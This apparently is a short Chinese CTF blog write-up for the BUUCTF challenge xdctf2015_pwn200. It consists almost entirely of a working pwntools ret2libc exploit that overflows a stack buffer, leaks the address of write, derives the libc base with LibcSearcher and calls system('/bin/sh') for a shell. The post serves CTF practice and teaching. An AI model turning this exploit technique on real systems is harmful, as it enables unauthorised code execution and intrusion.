[BUUCTF-pwn]——xdctf2015_pwn200

最新推荐文章于 2024-11-27 14:46:39 发布

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本文介绍了一个简单的ret2libc题目xdctf2015_pwn200的解决过程。通过两次payload的构造，首先泄漏write函数地址并确定libc基址，然后调用system函数执行/bin/sh获取shell。

[BUUCTF-pwn]——xdctf2015_pwn200

一个简单的ret2libc的题目，前面写了不少了这里只给exp了

exploit

from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn',27025)
elf = ELF('./bof')
write_plt = elf.plt['write']
write_got = elf.got['write']
main = elf.symbols['main']
payload = 'a' * (0x6c + 4) + p32(write_plt) + p32(main) + p32(1) + p32(write_got) + p32(4)

p.sendafter("to XDCTF2015~!\n",payload)

write_addr = u32(p.recv(4))
log.success("write_addr ---->:" + hex(write_addr))

libc = LibcSearcher("write",write_addr)
libc_base = write_addr - libc.dump("write")
info("libc_base -----> " + hex(libc_base))
sys_addr = libc_base + libc.dump("system")
binsh = libc_base + libc.dump("str_bin_sh")
payload = 'a' * (0x6c + 4) + p32(sys_addr) + p32(main) + p32(binsh)

p.sendafter("to XDCTF2015~!\n",payload)
p.interactive()